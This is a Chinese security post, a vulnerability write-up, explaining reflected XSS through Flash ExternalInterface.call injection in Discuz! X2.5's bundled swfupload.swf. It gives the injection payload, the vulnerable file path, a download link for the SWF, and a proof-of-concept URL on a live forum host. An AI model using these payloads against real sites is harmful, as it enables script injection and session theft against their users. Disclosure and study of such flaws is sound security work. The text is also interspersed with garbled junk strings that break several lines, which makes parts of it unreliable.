Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

flash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是
% h$ B+ E( V3 F3 d, P: Y
) t6 ]! u# P( |* u) `$ v% `! v: m6 htry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 I6 y5 T4 f  x; @8 X5 N3 A( ~对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

* Z9 [5 e6 X0 `6 T% gflash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
" ?; G, p6 U8 P# S3 c' g结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。

try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
; M9 a( I) h7 b- ?# T% p2 ^  @
0 W" i$ S0 w9 d+ J

漏洞文件：upload\static\image\common\swfupload.swf

原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf
2 G  g% o3 b( B) f  ^$ D
+ p% Z8 V1 r! A- }9 k% P/ V
! D, q- E3 V; B) g- Z漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

7 J- a, ?/ S4 t; i* A